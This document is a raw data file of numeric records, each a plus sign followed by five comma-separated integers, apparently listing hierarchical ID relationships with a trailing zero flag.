+15252,15083,15105,15252,0 +15253,15083,15105,15253,0 +15254,15083,15105,15254,0 +15255,15083,15105,15255,0 +15256,15083,15106,15256,0 +15257,15083,15107,15257,0 +15258,15083,15107,15258,0 +15259,15083,15107,15259,0 +15260,15083,15107,15260,0 +15261,15083,15107,15261,0 +15262,15083,15107,15262,0 +15263,15083,15107,15263,0 +15264,15083,15107,15264,0 +15265,15083,15107,15265,0 +15266,15083,15107,15266,0 +15267,15083,15107,15267,0 +15268,15083,15107,15268,0 +15269,15083,15107,15269,0 +15270,15083,15108,15270,0 +15271,15083,15108,15271,0 +15272,15083,15108,15272,0 +15273,15083,15108,15273,0 +15274,15083,15108,15274,0 +15275,15083,15108,15275,0 +15276,15083,15108,15276,0 +15277,15083,15108,15277,0 +15278,15083,15108,15278,0 +15279,15083,15108,15279,0 +15280,15083,15108,15280,0 +15281,15083,15108,15281,0 +15282,15083,15108,15282,0 +15283,15083,15108,15283,0 +15284,15083,15108,15284,0 +15285,15083,15108,15285,0 +15286,15083,15109,15286,0 +15287,15083,15110,15287,0 +15288,15083,15110,15288,0 +15289,15083,15110,15289,0 +15290,15083,15110,15290,0 +15291,15083,15110,15291,0 +15292,15083,15111,15292,0 +15293,15083,15111,15293,0 +15294,15083,15111,15294,0 +15295,15083,15111,15295,0 +15296,15083,15111,15296,0 +15297,15083,15111,15297,0 +15298,15083,15111,15298,0 +15299,15083,15111,15299,0 +15300,15083,15111,15300,0 +15301,15083,15111,15301,0 +15302,15083,15111,15302,0 +15303,15083,15111,15303,0 +15304,15083,15111,15304,0 +15305,15083,15111,15305,0 +15306,15083,15111,15306,0 +15307,15083,15111,15307,0 +15308,15083,15111,15308,0 +15309,15083,15111,15309,0 +15310,15083,15111,15310,0 +15311,15083,15112,15311,0 +15312,15083,15112,15312,0 +15313,15083,15112,15313,0 +15314,15083,15112,15314,0 +15315,15083,15112,15315,0 +15316,15083,15112,15316,0 +15317,15083,15112,15317,0 +15318,15083,15112,15318,0 +15319,15083,15112,15319,0 +15320,15083,15112,15320,0 +15321,15083,15112,15321,0 +15322,15083,15112,15322,0 +15323,15083,15112,15323,0 +15324,15083,15112,15324,0 +15325,15083,15113,15325,0 +15326,15083,15113,15326,0 +15327,15083,15113,15327,0 +15328,15083,15113,15328,0 +15329,15083,15113,15329,0 +15330,15083,15113,15330,0 +15331,15083,15114,15331,0 +15332,15083,15114,15332,0 +15333,15083,15114,15333,0 +15334,15083,15114,15334,0 +15335,15083,15114,15335,0 +15336,15083,15114,15336,0 +15337,15083,15114,15337,0 +15338,15083,15115,15338,0 +15339,15083,15115,15339,0 +15340,15083,15115,15340,0 +15341,15083,15115,15341,0 +15342,15083,15115,15342,0 +15343,15083,15115,15343,0 +15344,15083,15116,15344,0 +15345,15083,15116,15345,0 +15346,15083,15116,15346,0 +15347,15083,15116,15347,0 +15348,15083,15116,15348,0 +15349,15083,15116,15349,0 +15350,15083,15116,15350,0 +15351,15083,15116,15351,0 +15352,15083,15116,15352,0 +15353,15083,15116,15353,0 +15354,15083,15116,15354,0 +15355,15083,15116,15355,0 +20090,15083,20089,20090,0 +20091,15083,20089,20091,0 +20293,15083,20089,20293,0 +15373,15356,15357,15373,0 +15374,15356,15357,15374,0 +15375,15356,15357,15375,0 +15376,15356,15357,15376,0 +15377,15356,15357,15377,0 +15378,15356,15357,15378,0 +15379,15356,15358,15379,0 +15380,15356,15358,15380,0 +15381,15356,15358,15381,0 +15382,15356,15358,15382,0 +15383,15356,15358,15383,0 +15384,15356,15358,15384,0 +15385,15356,15359,15385,0 +15386,15356,15359,15386,0 +15387,15356,15359,15387,0 +15388,15356,15359,15388,0 +15389,15356,15360,15389,0 +15390,15356,15360,15390,0 +15391,15356,15360,15391,0 +15392,15356,15360,15392,0 +15393,15356,15360,15393,0 +15394,15356,15360,15394,0 +15395,15356,15360,15395,0 +15396,15356,15360,15396,0 +15397,15356,15360,15397,0 +15398,15356,15360,15398,0 +15399,15356,15360,15399,0 +15400,15356,15360,15400,0 +15401,15356,15361,15401,0 +15402,15356,15361,15402,0 +15403,15356,15361,15403,0 +15404,15356,15361,15404,0 +15405,15356,15361,15405,0 +15406,15356,15361,15406,0 +15407,15356,15361,15407,0 +15408,15356,15361,15408,0 +15409,15356,15361,15409,0 +15410,15356,15361,15410,0 +15411,15356,15361,15411,0 +15412,15356,15361,15412,0 +15413,15356,15361,15413,0 +15414,15356,15362,15414,0 +15415,15356,15362,15415,0 +15416,15356,15362,15416,0 +15417,15356,15362,15417,0 +15418,15356,15362,15418,0 +15419,15356,15362,15419,0 +15420,15356,15362,15420,0 +15421,15356,15362,15421,0 +15422,15356,15362,15422,0 +15423,15356,15362,15423,0 +15446,15356,15362,15446,0 +15425,15356,15363,15425,0 +15426,15356,15364,15426,0 +15427,15356,15364,15427,0 +15428,15356,15364,15428,0 +15429,15356,15364,15429,0 +15430,15356,15364,15430,0 +15431,15356,15364,15431,0 +15432,15356,15365,15432,0 +15433,15356,15365,15433,0 +15434,15356,15366,15434,0 +15435,15356,15366,15435,0 +15436,15356,15366,15436,0 +15437,15356,15366,15437,0 +15438,15356,15366,15438,0 +15439,15356,15366,15439,0 +15440,15356,15367,15440,0 +15441,15356,15367,15441,0 +15442,15356,15367,15442,0 +15443,15356,15367,15443,0 +15444,15356,15367,15444,0 +15445,15356,15367,15445,0 +15447,15356,15368,15447,0 +15448,15356,15368,15448,0 +15449,15356,15368,15449,0 +15450,15356,15368,15450,0 +15451,15356,15368,15451,0 +15452,15356,15368,15452,0 +15453,15356,15368,15453,0 +15454,15356,15368,15454,0 +15455,15356,15368,15455,0 +15456,15356,15368,15456,0 +15457,15356,15368,15457,0 +15458,15356,15368,15458,0 +15459,15356,15368,15459,0 +15460,15356,15368,15460,0 +15461,15356,15368,15461,0 +15462,15356,15368,15462,0 +15463,15356,15368,15463,0 +15464,15356,15368,15464,0 +15465,15356,15368,15465,0 +15466,15356,15368,15466,0 +15467,15356,15368,15467,0 +15468,15356,15368,15468,0 +15469,15356,15368,15469,0 +15506,15356,15369,15506,0 +15507,15356,15370,15507,0 +15508,15356,15370,15508,0 +15509,15356,15370,15509,0 +15510,15356,15370,15510,0 +15511,15356,15370,15511,0 +15512,15356,15370,15512,0 +15513,15356,15370,15513,0 +15514,15356,15370,15514,0 +15515,15356,15370,15515,0 +15516,15356,15370,15516,0 +15517,15356,15370,15517,0 +15518,15356,15371,15518,0 +15519,15356,15372,15519,0 +15520,15356,15372,15520,0 +15521,15356,15372,15521,0 +15522,15356,15372,15522,0 +15523,15356,15372,15523,0 +15524,15356,15372,15524,0 +15525,15356,15372,15525,0 +15526,15356,15372,15526,0 +15527,15356,15372,15527,0 +15528,15356,15372,15528,0 +15529,15356,15372,15529,0 +15530,15356,15372,15530,0 +15531,15356,15372,15531,0 +15532,15356,15372,15532,0 +15533,15356,15372,15533,0 +15534,15356,15372,15534,0 +19542,15356,15372,19542,0 +15545,15543,15544,15545,0 +15546,15543,15544,15546,0 +15547,15543,15544,15547,0 +15548,15543,15544,15548,0 +15549,15543,15544,15549,0 +15550,15543,15544,15550,0 +15551,15543,15544,15551,0 +15552,15543,15544,15552,0 +15554,15543,15553,15554,0 +15555,15543,15553,15555,0 +15573,15543,15572,15573,0 +15574,15543,15572,15574,0 +15575,15543,15572,15575,0 +15576,15543,15572,15576,0 +15577,15543,15572,15577,0 +15578,15543,15572,15578,0 +15579,15543,15572,15579,0 +15580,15543,15572,15580,0 +15581,15543,15572,15581,0 +15582,15543,15572,15582,0 +15583,15543,15572,15583,0 +15584,15543,15572,15584,0 +15585,15543,15572,15585,0 +15586,15543,15572,15586,0 +15587,15543,15572,15587,0 +15588,15543,15572,15588,0 +15589,15543,15572,15589,0 +15590,15543,15572,15590,0 +15591,15543,15572,15591,0 +15593,15543,15592,15593,0 +15594,15543,15592,15594,0 +15595,15543,15592,15595,0 +15596,15543,15592,15596,0 +15597,15543,15592,15597,0 +15598,15543,15592,15598,0 +15599,15543,15592,15599,0 +15600,15543,15592,15600,0 +15601,15543,15592,15601,0 +15602,15543,15592,15602,0 +15603,15543,15592,15603,0 +15604,15543,15592,15604,0 +15605,15543,15592,15605,0 +15606,15543,15592,15606,0 +15607,15543,15592,15607,0 +15608,15543,15592,15608,0 +15609,15543,15592,15609,0 +15610,15543,15592,15610,0 +15612,15543,15611,15612,0 +15613,15543,15611,15613,0 +15614,15543,15611,15614,0 +15615,15543,15611,15615,0 +15616,15543,15611,15616,0 +15617,15543,15611,15617,0 +15619,15543,15618,15619,0 +15620,15543,15618,15620,0 +15621,15543,15618,15621,0 +15622,15543,15618,15622,0 +15623,15543,15618,15623,0 +15624,15543,15618,15624,0 +15625,15543,15618,15625,0 +15626,15543,15618,15626,0 +15628,15543,15627,15628,0 +15629,15543,15627,15629,0 +15630,15543,15627,15630,0 +15631,15543,15627,15631,0 +15632,15543,15627,15632,0 +15633,15543,15627,15633,0 +15634,15543,15627,15634,0 +15635,15543,15627,15635,0 +15636,15543,15627,15636,0 +15637,15543,15627,15637,0 +15638,15543,15627,15638,0 +15639,15543,15627,15639,0 +15640,15543,15627,15640,0 +15641,15543,15627,15641,0 +15642,15543,15627,15642,0 +15643,15543,15627,15643,0 +15644,15543,15627,15644,0 +15645,15543,15627,15645,0 +15646,15543,15627,15646,0 +15647,15543,15627,15647,0 +15648,15543,15627,15648,0 +15649,15543,15627,15649,0 +15651,15543,15650,15651,0 +15652,15543,15650,15652,0 +15653,15543,15650,15653,0 +15654,15543,15650,15654,0 +15655,15543,15650,15655,0 +15656,15543,15650,15656,0 +15657,15543,15650,15657,0 +15658,15543,15650,15658,0 +15660,15543,15659,15660,0 +15661,15543,15659,15661,0 +15662,15543,15659,15662,0 +15663,15543,15659,15663,0 +15664,15543,15659,15664,0 +15665,15543,15659,15665,0 +15666,15543,15659,15666,0 +15667,15543,15659,15667,0 +15668,15543,15659,15668,0 +15669,15543,15659,15669,0 +15670,15543,15659,15670,0 +15671,15543,15659,15671,0 +15672,15543,15659,15672,0 +15673,15543,15659,15673,0 +15674,15543,15659,15674,0 +15675,15543,15659,15675,0 +15676,15543,15659,15676,0 +15677,15543,15659,15677,0 +15678,15543,15659,15678,0 +15679,15543,15659,15679,0 +15680,15543,15659,15680,0 +15687,15543,15686,15687,0 +15688,15543,15686,15688,0 +15689,15543,15686,15689,0 +15690,15543,15686,15690,0 +15691,15543,15686,15691,0 +15692,15543,15686,15692,0 +15693,15543,15686,15693,0 +15694,15543,15686,15694,0 +15695,15543,15686,15695,0 +15696,15543,15686,15696,0 +15697,15543,15686,15697,0 +15698,15543,15686,15698,0 +15699,15543,15686,15699,0 +15700,15543,15686,15700,0 +15701,15543,15686,15701,0 +15702,15543,15686,15702,0 +15703,15543,15686,15703,0 +15704,15543,15686,15704,0 +15706,15543,15705,15706,0 +15707,15543,15705,15707,0 +15708,15543,15705,15708,0 +15709,15543,15705,15709,0 +15710,15543,15705,15710,0 +15711,15543,15705,15711,0 +15712,15543,15705,15712,0 +15713,15543,15705,15713,0 +15714,15543,15705,15714,0 +15715,15543,15705,15715,0 +15716,15543,15705,15716,0 +15717,15543,15705,15717,0 +15718,15543,15705,15718,0 +15719,15543,15705,15719,0 +15720,15543,15705,15720,0 +15721,15543,15705,15721,0 +15722,15543,15705,15722,0 +15723,15543,15705,15723,0 +15724,15543,15705,15724,0 +15726,15543,15725,15726,0 +15727,15543,15725,15727,0 +15728,15543,15725,15728,0 +15729,15543,15725,15729,0 +15730,15543,15725,15730,0 +15731,15543,15725,15731,0 +15732,15543,15725,15732,0 +15733,15543,15725,15733,0 +15734,15543,15725,15734,0 +15735,15543,15725,15735,0 +15736,15543,15725,15736,0 +15737,15543,15725,15737,0 +15738,15543,15725,15738,0 +15739,15543,15725,15739,0 +15740,15543,15725,15740,0 +15741,15543,15725,15741,0 +15742,15543,15725,15742,0 +15743,15543,15725,15743,0 +15744,15543,15725,15744,0 +15745,15543,15725,15745,0 +15746,15543,15725,15746,0 +15754,15543,15753,15754,0 +15755,15543,15753,15755,0 +15756,15543,15753,15756,0 +15757,15543,15753,15757,0 +15758,15543,15753,15758,0 +15759,15543,15753,15759,0 +15760,15543,15753,15760,0 +15761,15543,15753,15761,0 +15762,15543,15753,15762,0 +15763,15543,15753,15763,0 +15764,15543,15753,15764,0 +15765,15543,15753,15765,0 +15766,15543,15753,15766,0 +15768,15543,15767,15768,0 +15769,15543,15767,15769,0 +15770,15543,15767,15770,0 +15771,15543,15767,15771,0 +15772,15543,15767,15772,0 +15773,15543,15767,15773,0 +15774,15543,15767,15774,0 +15775,15543,15767,15775,0 +15776,15543,15767,15776,0 +15777,15543,15767,15777,0 +15778,15543,15767,15778,0 +15779,15543,15767,15779,0 +15780,15543,15767,15780,0 +15781,15543,15767,15781,0 +15782,15543,15767,15782,0 +15783,15543,15767,15783,0 +15784,15543,15767,15784,0 +15859,15543,15858,15859,0 +15860,15543,15858,15860,0 +15861,15543,15858,15861,0 +15862,15543,15858,15862,0 +15863,15543,15858,15863,0 +15864,15543,15858,15864,0 +15865,15543,15858,15865,0 +15866,15543,15858,15866,0 +15867,15543,15858,15867,0 +15869,15543,15868,15869,0 +15870,15543,15868,15870,0 +15871,15543,15868,15871,0 +15872,15543,15868,15872,0 +15873,15543,15868,15873,0 +15874,15543,15868,15874,0 +15891,15543,15890,15891,0 +15892,15543,15890,15892,0 +15893,15543,15890,15893,0 +15894,15543,15890,15894,0 +15895,15543,15890,15895,0 +15896,15543,15890,15896,0 +15897,15543,15890,15897,0 +15898,15543,15890,15898,0 +15899,15543,15890,15899,0 +15901,15543,15900,15901,0 +16154,15543,15902,16154,0 +15904,15543,15903,15904,0 +15906,15543,15905,15906,0 +15907,15543,15905,15907,0 +15908,15543,15905,15908,0 +15909,15543,15905,15909,0 +15910,15543,15905,15910,0 +15911,15543,15905,15911,0 +15912,15543,15905,15912,0 +15913,15543,15905,15913,0 +15914,15543,15905,15914,0 +15915,15543,15905,15915,0 +15916,15543,15905,15916,0 +15917,15543,15905,15917,0 +15918,15543,15905,15918,0 +15919,15543,15905,15919,0 +15920,15543,15905,15920,0 +15922,15543,15921,15922,0 +15923,15543,15921,15923,0 +15924,15543,15921,15924,0 +15925,15543,15921,15925,0 +15926,15543,15921,15926,0 +15927,15543,15921,15927,0 +15928,15543,15921,15928,0 +15929,15543,15921,15929,0 +15930,15543,15921,15930,0 +15931,15543,15921,15931,0 +15932,15543,15921,15932,0 +15933,15543,15921,15933,0 +15934,15543,15921,15934,0 +15935,15543,15921,15935,0 +15936,15543,15921,15936,0 +15938,15543,15937,15938,0 +15940,15543,15939,15940,0 +15941,15543,15939,15941,0 +15942,15543,15939,15942,0 +15970,15543,15969,15970,0 +15971,15543,15969,15971,0 +15972,15543,15969,15972,0 +15973,15543,15969,15973,0 +15974,15543,15969,15974,0 +15975,15543,15969,15975,0 +15976,15543,15969,15976,0 +15977,15543,15969,15977,0 +15978,15543,15969,15978,0 +15979,15543,15969,15979,0 +15981,15543,15980,15981,0 +15982,15543,15980,15982,0 +15983,15543,15980,15983,0 +15984,15543,15980,15984,0 +15985,15543,15980,15985,0 +15986,15543,15980,15986,0 +15987,15543,15980,15987,0 +15988,15543,15980,15988,0 +15989,15543,15980,15989,0 +15991,15543,15990,15991,0 +15992,15543,15990,15992,0 +15993,15543,15990,15993,0 +15994,15543,15990,15994,0 +15995,15543,15990,15995,0 +15996,15543,15990,15996,0 +15997,15543,15990,15997,0 +15998,15543,15990,15998,0 +15999,15543,15990,15999,0 +16000,15543,15990,16000,0 +16001,15543,15990,16001,0 +16002,15543,15990,16002,0 +16003,15543,15990,16003,0 +16004,15543,15990,16004,0 +16005,15543,15990,16005,0 +16006,15543,15990,16006,0 +16012,15543,16011,16012,0 +16013,15543,16011,16013,0 +16014,15543,16011,16014,0 +16015,15543,16011,16015,0 +16016,15543,16011,16016,0 +16017,15543,16011,16017,0 +16018,15543,16011,16018,0 +16019,15543,16011,16019,0 +16020,15543,16011,16020,0 +16021,15543,16011,16021,0 +16022,15543,16011,16022,0 +16023,15543,16011,16023,0 +16024,15543,16011,16024,0 +16025,15543,16011,16025,0 +16026,15543,16011,16026,0 +16027,15543,16011,16027,0 +16029,15543,16028,16029,0 +16030,15543,16028,16030,0 +16031,15543,16028,16031,0 +16032,15543,16028,16032,0 +16033,15543,16028,16033,0 +16034,15543,16028,16034,0 +16035,15543,16028,16035,0 +16036,15543,16028,16036,0 +16037,15543,16028,16037,0 +16038,15543,16028,16038,0 +16039,15543,16028,16039,0 +16040,15543,16028,16040,0 +16041,15543,16028,16041,0 +16042,15543,16028,16042,0 +16043,15543,16028,16043,0 +16044,15543,16028,16044,0 +16045,15543,16028,16045,0 +16046,15543,16028,16046,0 +16047,15543,16028,16047,0 +16049,15543,16048,16049,0 +16050,15543,16048,16050,0 +16051,15543,16048,16051,0 +16052,15543,16048,16052,0 +16053,15543,16048,16053,0 +16054,15543,16048,16054,0 +16055,15543,16048,16055,0 +16056,15543,16048,16056,0 +16057,15543,16048,16057,0 +16058,15543,16048,16058,0 +16059,15543,16048,16059,0 +16060,15543,16048,16060,0 +16061,15543,16048,16061,0 +16063,15543,16062,16063,0 +16064,15543,16062,16064,0 +16065,15543,16062,16065,0 +16066,15543,16062,16066,0 +16067,15543,16062,16067,0 +16068,15543,16062,16068,0 +16069,15543,16062,16069,0 +16070,15543,16062,16070,0 +16071,15543,16062,16071,0 +16073,15543,16072,16073,0 +16074,15543,16072,16074,0 +16075,15543,16072,16075,0 +16076,15543,16072,16076,0 +16077,15543,16072,16077,0 +16078,15543,16072,16078,0 +16080,15543,16079,16080,0 +16081,15543,16079,16081,0 +16082,15543,16079,16082,0 +16083,15543,16079,16083,0 +16084,15543,16079,16084,0 +16085,15543,16079,16085,0 +16086,15543,16079,16086,0 +16087,15543,16079,16087,0 +16088,15543,16079,16088,0 +16089,15543,16079,16089,0 +16090,15543,16079,16090,0 +16091,15543,16079,16091,0 +16092,15543,16079,16092,0 +16093,15543,16079,16093,0 +16094,15543,16079,16094,0 +16096,15543,16095,16096,0 +16097,15543,16095,16097,0 +16098,15543,16095,16098,0 +16099,15543,16095,16099,0 +16100,15543,16095,16100,0 +16101,15543,16095,16101,0 +16102,15543,16095,16102,0 +16103,15543,16095,16103,0 +16104,15543,16095,16104,0 +16105,15543,16095,16105,0 +16106,15543,16095,16106,0 +16108,15543,16107,16108,0 +16109,15543,16107,16109,0 +16110,15543,16107,16110,0 +16111,15543,16107,16111,0 +16112,15543,16107,16112,0 +16113,15543,16107,16113,0 +16114,15543,16107,16114,0 +16115,15543,16107,16115,0 +16116,15543,16107,16116,0 +16117,15543,16107,16117,0 +16118,15543,16107,16118,0 +16119,15543,16107,16119,0 +16120,15543,16107,16120,0 +16121,15543,16107,16121,0 +16122,15543,16107,16122,0 +16140,15543,16139,16140,0 +16141,15543,16139,16141,0 +16142,15543,16139,16142,0 +16143,15543,16139,16143,0 +16144,15543,16139,16144,0 +16145,15543,16139,16145,0 +16146,15543,16139,16146,0 +16147,15543,16139,16147,0 +16148,15543,16139,16148,0 +16149,15543,16139,16149,0 +16150,15543,16139,16150,0 +16151,15543,16139,16151,0 +16153,15543,16152,16153,0 +20138,15543,20137,20138,0 +20139,15543,20137,20139,0 +20140,15543,20137,20140,0 +20141,15543,20137,20141,0 +20142,15543,20137,20142,0 +20143,15543,20137,20143,0 +16179,16155,16156,16179,0 +16180,16155,16156,16180,0 +16181,16155,16156,16181,0 +16182,16155,16156,16182,0 +16183,16155,16156,16183,0 +16184,16155,16156,16184,0 +16185,16155,16156,16185,0 +16186,16155,16156,16186,0 +16187,16155,16156,16187,0 +16188,16155,16156,16188,0 +16189,16155,16156,16189,0 +16190,16155,16156,16190,0 +16191,16155,16156,16191,0 +16164,16155,16157,16164,0 +16165,16155,16157,16165,0 +16166,16155,16157,16166,0 +16167,16155,16157,16167,0 +16168,16155,16157,16168,0 +16169,16155,16157,16169,0 +16170,16155,16157,16170,0 +16171,16155,16157,16171,0 +16172,16155,16157,16172,0 +16173,16155,16157,16173,0 +16174,16155,16157,16174,0 +16175,16155,16157,16175,0 +16176,16155,16157,16176,0 +16177,16155,16157,16177,0 +16159,16155,16158,16159,0 +16160,16155,16158,16160,0 +16161,16155,16158,16161,0 +16162,16155,16158,16162,0 +16163,16155,16158,16163,0 +16197,16192,16193,16197,0 +16198,16192,16193,16198,0 +16199,16192,16194,16199,0 +16200,16192,16194,16200,0 +16201,16192,16194,16201,0 +20144,16192,16194,20144,0 +20145,16192,16194,20145,0 +16202,16192,16195,16202,0 +20146,16192,16195,20146,0 +16203,16192,16196,16203,0 +16204,16192,16196,16204,0 +16205,16192,16196,16205,0 +16206,16192,16196,16206,0 +16207,16192,16196,16207,0 +16208,16192,16196,16208,0 +16211,16209,16210,16211,0 +16212,16209,16210,16212,0 +16213,16209,16210,16213,0 +16214,16209,16210,16214,0 +16215,16209,16210,16215,0 +16216,16209,16210,16216,0 +16217,16209,16210,16217,0 +16218,16209,16210,16218,0 +16219,16209,16210,16219,0 +16221,16209,16220,16221,0 +16223,16209,16222,16223,0 +16224,16209,16222,16224,0 +16225,16209,16222,16225,0 +16226,16209,16222,16226,0 +16227,16209,16222,16227,0 +16228,16209,16222,16228,0 +16230,16209,16229,16230,0 +16231,16209,16229,16231,0 +16232,16209,16229,16232,0 +16233,16209,16229,16233,0 +16234,16209,16229,16234,0 +16235,16209,16229,16235,0 +16236,16209,16229,16236,0 +16239,16237,16238,16239,0 +16243,16237,16238,16243,0 +16245,16237,16238,16245,0 +18774,16237,16238,18774,0 +18775,16237,16238,18775,0 +18776,16237,16238,18776,0 +18777,16237,16238,18777,0 +18810,16237,16238,18810,0 +16254,16237,16251,16254,0 +16255,16237,16251,16255,0 +16257,16237,16251,16257,0 +18778,16237,16251,18778,0 +18779,16237,16251,18779,0 +18780,16237,16251,18780,0 +18781,16237,16251,18781,0 +16259,16237,16258,16259,0 +16260,16237,16258,16260,0 +18782,16237,16258,18782,0 +16262,16237,16261,16262,0 +16264,16237,16261,16264,0 +16265,16237,16261,16265,0 +16266,16237,16261,16266,0 +16267,16237,16261,16267,0 +18348,16237,18347,18348,0 +18769,16237,18768,18769,0 +18770,16237,18768,18770,0 +18771,16237,18768,18771,0 +18772,16237,18768,18772,0 +18784,16237,18783,18784,0 +18785,16237,18783,18785,0 +18786,16237,18783,18786,0 +18787,16237,18783,18787,0 +16290,16288,16289,16290,0 +16291,16288,16289,16291,0 +16292,16288,16289,16292,0 +16293,16288,16289,16293,0 +16294,16288,16289,16294,0 +16295,16288,16289,16295,0 +16296,16288,16289,16296,0 +16297,16288,16289,16297,0 +16298,16288,16289,16298,0 +16299,16288,16289,16299,0 +16314,16288,16313,16314,0 +16315,16288,16313,16315,0 +16316,16288,16313,16316,0 +16317,16288,16313,16317,0 +16318,16288,16313,16318,0 +16319,16288,16313,16319,0 +16320,16288,16313,16320,0 +16321,16288,16313,16321,0 +16322,16288,16313,16322,0 +16323,16288,16313,16323,0 +16324,16288,16313,16324,0 +16325,16288,16313,16325,0 +16326,16288,16313,16326,0 +16331,16288,16330,16331,0 +16332,16288,16330,16332,0 +16333,16288,16330,16333,0 +16334,16288,16330,16334,0 +16335,16288,16330,16335,0 +16337,16288,16336,16337,0 +16338,16288,16336,16338,0 +16339,16288,16336,16339,0 +16340,16288,16336,16340,0 +16341,16288,16336,16341,0 +16342,16288,16336,16342,0 +16343,16288,16336,16343,0 +16344,16288,16336,16344,0 +16345,16288,16336,16345,0 +16346,16288,16336,16346,0 +16348,16288,16347,16348,0 +16349,16288,16347,16349,0 +16350,16288,16347,16350,0 +16351,16288,16347,16351,0 +16353,16288,16352,16353,0 +16354,16288,16352,16354,0 +16356,16288,16355,16356,0 +16358,16288,16357,16358,0 +16360,16288,16359,16360,0 +16361,16288,16359,16361,0 +16362,16288,16359,16362,0 +16363,16288,16359,16363,0 +16364,16288,16359,16364,0 +16365,16288,16359,16365,0 +16366,16288,16359,16366,0 +16367,16288,16359,16367,0 +16369,16288,16368,16369,0 +16371,16288,16370,16371,0 +16372,16288,16370,16372,0 +16373,16288,16370,16373,0 +16374,16288,16370,16374,0 +16375,16288,16370,16375,0 +16376,16288,16370,16376,0 +16377,16288,16370,16377,0 +16378,16288,16370,16378,0 +16379,16288,16370,16379,0 +16380,16288,16370,16380,0 +16381,16288,16370,16381,0 +16382,16288,16370,16382,0 +16383,16288,16370,16383,0 +16384,16288,16370,16384,0 +16385,16288,16370,16385,0 +16386,16288,16370,16386,0 +16387,16288,16370,16387,0 +16388,16288,16370,16388,0 +16389,16288,16370,16389,0 +16390,16288,16370,16390,0 +16391,16288,16370,16391,0 +16392,16288,16370,16392,0 +16393,16288,16370,16393,0 +16394,16288,16370,16394,0 +16395,16288,16370,16395,0 +16396,16288,16370,16396,0 +16397,16288,16370,16397,0 +16398,16288,16370,16398,0 +16400,16288,16399,16400,0 +16401,16288,16399,16401,0 +16402,16288,16399,16402,0 +16403,16288,16399,16403,0 +16404,16288,16399,16404,0 +16405,16288,16399,16405,0 +16406,16288,16399,16406,0 +16407,16288,16399,16407,0 +16408,16288,16399,16408,0 +16409,16288,16399,16409,0 +16410,16288,16399,16410,0 +16411,16288,16399,16411,0 +16412,16288,16399,16412,0 +16413,16288,16399,16413,0 +16414,16288,16399,16414,0 +16415,16288,16399,16415,0 +16416,16288,16399,16416,0 +16417,16288,16399,16417,0 +16418,16288,16399,16418,0 +16419,16288,16399,16419,0 +16420,16288,16399,16420,0 +16421,16288,16399,16421,0 +16422,16288,16399,16422,0 +16423,16288,16399,16423,0 +16424,16288,16399,16424,0 +16425,16288,16399,16425,0 +16426,16288,16399,16426,0 +16430,16288,16429,16430,0 +16431,16288,16429,16431,0 +16432,16288,16429,16432,0 +16433,16288,16429,16433,0 +16434,16288,16429,16434,0 +16435,16288,16429,16435,0 +16436,16288,16429,16436,0 +16437,16288,16429,16437,0 +16438,16288,16429,16438,0 +16439,16288,16429,16439,0 +16440,16288,16429,16440,0 +16442,16288,16441,16442,0 +16443,16288,16441,16443,0 +16444,16288,16441,16444,0 +16445,16288,16441,16445,0 +16446,16288,16441,16446,0 +16447,16288,16441,16447,0 +16449,16288,16448,16449,0 +16451,16288,16450,16451,0 +16453,16288,16452,16453,0 +16455,16288,16454,16455,0 +16456,16288,16454,16456,0 +16457,16288,16454,16457,0 +16458,16288,16454,16458,0 +16459,16288,16454,16459,0 +16465,16288,16464,16465,0 +16466,16288,16464,16466,0 +16467,16288,16464,16467,0 +16468,16288,16464,16468,0 +16469,16288,16464,16469,0 +16470,16288,16464,16470,0 +16471,16288,16464,16471,0 +16472,16288,16464,16472,0 +16473,16288,16464,16473,0 +16474,16288,16464,16474,0 +16476,16288,16475,16476,0 +16477,16288,16475,16477,0 +16478,16288,16475,16478,0 +16480,16288,16479,16480,0 +16482,16288,16481,16482,0 +16483,16288,16481,16483,0 +16484,16288,16481,16484,0 +16485,16288,16481,16485,0 +16486,16288,16481,16486,0 +16487,16288,16481,16487,0 +16488,16288,16481,16488,0 +16489,16288,16481,16489,0 +16490,16288,16481,16490,0 +16491,16288,16481,16491,0 +16492,16288,16481,16492,0 +16493,16288,16481,16493,0 +16494,16288,16481,16494,0 +16495,16288,16481,16495,0 +16496,16288,16481,16496,0 +16497,16288,16481,16497,0 +16498,16288,16481,16498,0 +16499,16288,16481,16499,0 +16520,16288,16519,16520,0 +16521,16288,16519,16521,0 +16522,16288,16519,16522,0 +16523,16288,16519,16523,0 +16524,16288,16519,16524,0 +16525,16288,16519,16525,0 +16526,16288,16519,16526,0 +16527,16288,16519,16527,0 +16528,16288,16519,16528,0 +16529,16288,16519,16529,0 +16530,16288,16519,16530,0 +16531,16288,16519,16531,0 +16532,16288,16519,16532,0 +16533,16288,16519,16533,0 +16534,16288,16519,16534,0 +16535,16288,16519,16535,0 +16536,16288,16519,16536,0 +16537,16288,16519,16537,0 +16553,16548,16552,16553,0 +16554,16548,16552,16554,0 +16555,16548,16552,16555,0 +16557,16548,16556,16557,0 +16558,16548,16556,16558,0 +16559,16548,16556,16559,0 +16560,16548,16556,16560,0 +16561,16548,16556,16561,0 +16562,16548,16556,16562,0 +16563,16548,16556,16563,0 +16564,16548,16556,16564,0 +16565,16548,16556,16565,0 +16566,16548,16556,16566,0 +16567,16548,16556,16567,0 +16568,16548,16556,16568,0 +16569,16548,16556,16569,0 +16570,16548,16556,16570,0 +16571,16548,16556,16571,0 +16573,16548,16556,16573,0 +16574,16548,16556,16574,0 +16575,16548,16556,16575,0 +16576,16548,16556,16576,0 +16577,16548,16556,16577,0 +16578,16548,16556,16578,0 +16579,16548,16556,16579,0 +20184,16548,16556,20184,0 +16581,16548,16580,16581,0 +16582,16548,16580,16582,0 +16583,16548,16580,16583,0 +16584,16548,16580,16584,0 +16585,16548,16580,16585,0 +16586,16548,16580,16586,0 +16587,16548,16580,16587,0 +16588,16548,16580,16588,0 +16589,16548,16580,16589,0 +16590,16548,16580,16590,0 +16591,16548,16580,16591,0 +16592,16548,16580,16592,0 +16593,16548,16580,16593,0 +16594,16548,16580,16594,0 +16595,16548,16580,16595,0 +16596,16548,16580,16596,0 +16597,16548,16580,16597,0 +16598,16548,16580,16598,0 +16599,16548,16580,16599,0 +16600,16548,16580,16600,0 +16601,16548,16580,16601,0 +16602,16548,16580,16602,0 +16603,16548,16580,16603,0 +16604,16548,16580,16604,0 +16605,16548,16580,16605,0 +16612,16548,16611,16612,0 +16613,16548,16611,16613,0 +16614,16548,16611,16614,0 +16615,16548,16611,16615,0 +16616,16548,16611,16616,0 +16617,16548,16611,16617,0 +16618,16548,16611,16618,0 +16619,16548,16611,16619,0 +16620,16548,16611,16620,0 +16621,16548,16611,16621,0 